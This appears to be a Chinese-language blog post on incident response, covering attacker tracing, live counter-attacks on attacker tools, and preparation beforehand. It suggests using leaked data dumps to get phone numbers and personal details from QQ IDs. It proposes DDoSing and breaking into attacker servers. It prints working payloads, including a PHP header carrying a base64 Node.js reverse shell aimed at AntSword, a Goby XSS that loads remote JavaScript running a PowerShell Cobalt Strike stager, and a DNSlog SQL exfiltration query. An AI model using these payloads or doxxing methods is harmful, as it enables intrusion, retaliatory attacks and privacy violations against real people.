當前位置: 華文世界 > 科技

應急響應—溯源反制

2024-02-14科技

1. 攻擊後溯源

所謂被攻擊後溯源,意思就是網站已經被攻擊者攻擊了,而我們需要的是利用攻擊者遺留下來的木馬檔、存取日誌、防火墻日誌、態勢感知日誌等資訊去獲取相關的資料,在對其資料中可用的內容進行分析溯源。

1.1. IP地址

關於IP地址,是攻擊者最容易被遺留下來的數據,類似IP地址可能會遺留在中介軟體的日誌中、Windows中RDP遠端連線日誌、Linux中SSH遠端連線依舊防火墻或態勢感知中攻擊行為IP地址,都可能會遺留下來。

1.1.1. IP地址定位

這裏我用防火墻捕獲到的IP地址做測試,這個IP地址好像是某個影片廠商來遠端偵錯,導致誤報出現的攻擊,具體忘記了是某康還是某視的了。

https://www.opengps.cn/Data/IP/ipplus.aspxhttps://chaipip.com/https://www.ipplus360.com/

1.1.2. IP地址分析

當然IP地址定位只是為了更好的找到攻擊者的位置,但是,更多的時候只有說出現大問題的時候才會具體去找人,而攻擊者基本上都會隱藏自己的IP地址。所以,IP地址定位多數情況下用處不多。

更好的是將IP地址進行分析,例如是否存在網域名稱等等,例如這裏使用微步檢視是否曾經有人給該IP打過標簽,有沒有備案過網域名稱,如果使用的是雲伺服器,大概率可能會對其備案網域名稱。

由於這裏溯源反制比較麻煩,沒有真實的IP地址,確實不好對其進行分析,又不能拿別人的網誌地址或者什麽的來進行分析,這樣就是搞別人的私密了。

1.2. 網域名稱

這裏就是依據上述獲取到相關的網域名稱才好對其進行分析,例如www.baidu.com完全可用去進行whois查詢、備案查詢、天眼查、fofa查詢等。

可以看一下,我之前註冊的網域名稱,並沒有使用,也被我關了,可以看到公司那裏,就是我的名字,到這裏就基本上可能能獲取到姓名了,但是需要註意的是,有很多情況下,攻擊者基本上都是使用免實名制的網域名稱,那就不好辦了…

如果註冊公司直接顯示的是某家公司,那就可以使用一些查公司的例如天眼查、企查查就可以找到註冊人了,通常也就能夠獲取到手機號了。

1.3. 手機號/QQ

比如,你存取IP地址所屬的網域名稱,可以在網域名稱網站中找一找,通常在網站中都會存在例如打賞、微訊號、QQ等,如果能夠獲取到QQ號更好,那麽就可以根據QQ號在**庫中反差。

由於在網站中獲取到手機號基本上是不太可能的,而想要獲取到手機號其實是比較麻煩的。而QQ號或微訊號是最容易獲取的,如果能夠加上好友那最好。

拿到qq可以到你懂的的上面去搜,基本上也就能獲取到相應的手機號,獲取到手機號,那不基本上就是想怎麽搞都可以了呀。

手機號:支付寶、微信、微博等等,透過這些方式,可能能夠獲取到圖片等等,還有可能獲取到照片。

1.4. ID

ID這個東西吧,有些人會習慣性的各大網站都會使用同一個ID,那就可以直接百度搜尋麽,包括可以直接拿著ID去圈子裏面問問,有沒有人認識。

你看我這ID,遍地都是…無語了,我要改名字了,當然在這個圈子裏面,誰沒被人家惡搞過…

百度搜尋、谷歌搜尋、src搜尋、微博搜尋、微信ID搜尋、豆瓣、貼吧、知乎等等。

1.5. 木馬樣本

木馬樣本中有可能也能夠找到一些相關數據,例如我這裏使用cs生成一個木馬,當然啦,沒做免殺,直接獲取到木馬的IP地址。

1.6. 總結

可能整體來說很簡單,目前根據IP地址能夠進行溯源的也就這些了,基本上都是看褲子來解決,不靠褲子,除非去加上微信去忽悠,否則獲取手機號確實沒那麽容易。

當然如果你條件允許,你直接透過獲取到的IP直接攻擊他,直接拿下他伺服器那什麽獲取不到…

攻擊畫像大概模型:姓名/ID:攻擊IP:地理位置:QQ:IP地址所屬公司:IP地址關聯網域名稱:郵箱:手機號:微信/微博/src/id證明:人物照片:彈板機(可選):關聯攻擊事件:

2. 攻擊中反制

攻擊中反制,就是說攻擊者暫未停止對其攻擊,還處於攻擊的階段,這裏就需要涉及到很多藍隊的知識了。

2.1. 定位準確

所謂的定位準確意思就是要準確的定位到被攻擊的伺服器、主機、人等。及時的登陸涉事主機上排查,例如依靠態勢感知、伺服器、蜜罐等器材獲取到出現異常的主機IP。

主要關註:RDP日誌、SSH登陸日誌、中介軟體日誌、網絡連線、行程、代理日誌等這些來獲取IP地址、彈板機IP、木馬檔等。

2.2. 反制手段

2.2.1. 釣魚郵件反制

可以透過釣魚郵件的附件進行逆向分析、檢視源碼等方式獲取到IP地址,對IP地址進行滲透攻擊,最簡單的辦法,拿不下就幹趴它,直接對其進行DDOS攻擊等,通常用於攻擊的伺服器如果是雲伺服器,均不會購買太好的配置。

2.2.2. 蟻劍反制

此漏洞在AntSword2.7.1版本上修復 ,所以適用於AntSword2.7.1以下版本。

此漏洞為AntSword連線WebShell失敗時對html程式碼的解析,導致xss漏洞,而使html程式碼不在瀏覽器解析而是在伺服器上解析的話需要用到nodejs,所以AntSword使用了nodejs,本文章就講解利用xss漏洞執行並呼叫nodejs的庫反彈shell拿到許可權。

下載地址:

蟻劍:https://github.com/AntSwordProject/antSword/archive/refs/tags/2.0.7.zip載入器:https://github.com/AntSwordProject/AntSword-Loader/archive/refs/tags/2.0.1.zip

這裏我們隨意搭建一個網站,讓蟻劍連線上去就可以了。

2.2.2.1. 測試XSS漏洞

這裏我們修改攻擊者的木馬,將木馬中的內容修改成彈窗木馬,修改後,攻擊者再次連線木馬後就會出現彈出「250」的視窗。到這裏就可以證明是存在xss漏洞的。

<?php header("HTTP/1.1 500 <img src=1 onerror=alert(1) />") ?>

2.2.2.2. RCE漏洞反彈shell

這裏我們就可以使用蟻劍的RCE漏洞反彈shell獲取攻擊者的主機。

首先這裏我們使用nc監聽2200埠,等待反彈shell。

修改木馬中的程式碼,修改為反彈shell的程式碼,利用nodejs庫反彈shell的程式碼(payload):

var net = require("net"), sh = require("child_process").exec("cmd.exe");var client = new net.Socket();client.connect(2200, "192.168.10.10", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

以上程式碼透過建立Socket來連線192.168.10.30(被攻擊的電腦ip) 的2200埠(Netcat監聽的埠)

將以上程式碼進行base64加密,加密後的密文:

dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgyMjAwLCAiMTkyLjE2OC4xMC4xMCIsIGZ1bmN0aW9uKCl7Y2xpZW50LnBpcGUoc2guc3RkaW4pO3NoLnN0ZG91dC5waXBlKGNsaWVudCk7c2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs

並替換掉我們前邊寫的alert(250)程式碼,最終寫到shell.php中的程式碼如下:

<?PHPheader("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgyMjAwLCAiMTkyLjE2OC4xMC4xMCIsIGZ1bmN0aW9uKCl7Y2xpZW50LnBpcGUoc2guc3RkaW4pO3NoLnN0ZG91dC5waXBlKGNsaWVudCk7c2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs`,`base64`).toString())'>");?>

反彈成功了,別問我這裏為什麽又變成kali了,因為我測試了半天一直不能反彈,結果發現是被防毒軟件攔截了…

2.2.3. goby反制

這裏由於我這版本goby可能版本太高了,並未復現出來

制作一個釣魚頁面,也就是一個彈窗XSS頁面,讓其goby去掃描,然後等到掃描結束後,去資產中點選IP地址,就會出現彈窗。

<?phpheader("X-Powered-By: PHP/<img src=x οnerrοr=alert(/xxx/)>");?>

2.2.3.1. 修改PHP程式碼

這裏將修改php程式碼,同時在建立一個1.js的程式碼。

php程式碼:

<?phpheader("X-Powered-By: PHP/<img src=1 οnerrοr=import(unescape('http://192.168.0.105:9988/1.js'))>");?>

彈電腦程式碼:

js程式碼:(function(){require('child_process').exec('calc.exe');})();

上線程式碼(CS的powershell):

(function(){require('child_process').exec('powershell -nop -w hidden -encodedcommand JABXXXXXXXX......');})();

2.2.4. dnslog反制

攻擊方在對目標進行攻擊的時候,有時候會遇到無回顯的情況,那麽就會使用結合dnslong的方式,這裏能夠將回顯的內容帶回,例如:

ping xx.dnslog.comload_file(CONCAT('\\',(select hex(table_name) from information_schema.tables where table_schema=database() limit 0,1),'.xx.dnslog.com'))

一般情況下在安全器材的日誌中是能夠看到dnslong的地址的,如果沒有告警,那麽就只能從相關的中介軟體日誌中靠經驗就搜集了,可以使用一些關鍵字來檢視。

2.2.4.1. 反制方式

接下來,可以去網上找提供PING服務的網站。把上面提取出的攻擊者的dnslog平台地址做為ping的目標地址,執行ping操作。如果攻擊者用的是網絡上找到dnslog平台,大多情況下ping出的地址都是127.0.0.1,如果是自己搭建的dnslog平台,設定不規範的情況下會顯示vps的IP。

2.2.4.2. 檢視效果

可以看到這邊就會有很多的日誌,那麽這樣就會一直占用,導致這個地址無法使用,當然如果是自己搭建的,那麽就相當於這個平台廢掉了,如果是公開的,很簡單抓到一個ping一個。

你也可以在前面添加一些內容,惡搞他。

2.2.5. Cobaltstrike反制

由於這裏需要設定環境以及一些java編譯,我環境不足,我就不演示了,我這邊多給幾個參考文章。

CVE-2022-39197 CS RCE復現分析 | Bmth's blog

奇安信攻防社區-反制Cobaltstrike的那些手段

最新CS RCE曲折的復現路

溯源反制操作手冊|溯源反制思路整合總結|溯源技巧 - 雨蓯ℒ

2.3. 總結

在攻擊中,其實更多的情況下應該是靠一些相關的安全器材來進行防護,你靠人為去發現,除非就一台主機一台伺服器,你盯著看,否則的話,還是需要依靠相關的安全器材,同時攻擊中多數還是需要根據業務的流量來判斷究竟是屬於什麽類別的攻擊,比如說伺服器被下了木馬,那麽木馬是怎麽來的,是人為導致的還是伺服器存在漏洞,所謂點滑鼠的猴子,直接拉黑名單。

3. 攻擊前反制

所謂攻擊前反制,就是在還未開始被攻擊前就應該做好相關的安全防護,例如資產是審查、安全器材安裝、高危漏洞的檢查、修補程式更新等。

並且攻擊前所做的和hvv前期的準備沒什麽區別,首先應當充分地了解自身安全防護狀況與存在的不足,找出自身的脆弱點並及時進行加固,為後續工作提供能力支撐。這就是準備階段的主要工作。

在日常中對未知資產排查、安全器材0day排查、系統漏洞排查、系統弱口令排查、系統設定缺陷排查、內網集權系統排查、協助安全加固等技術性工作。

直接參考下面的文章中的內容:

攻防演練合集 | 3個階段,4大要點,藍隊防守全流程綱要解讀-安全客 - 安全資訊平台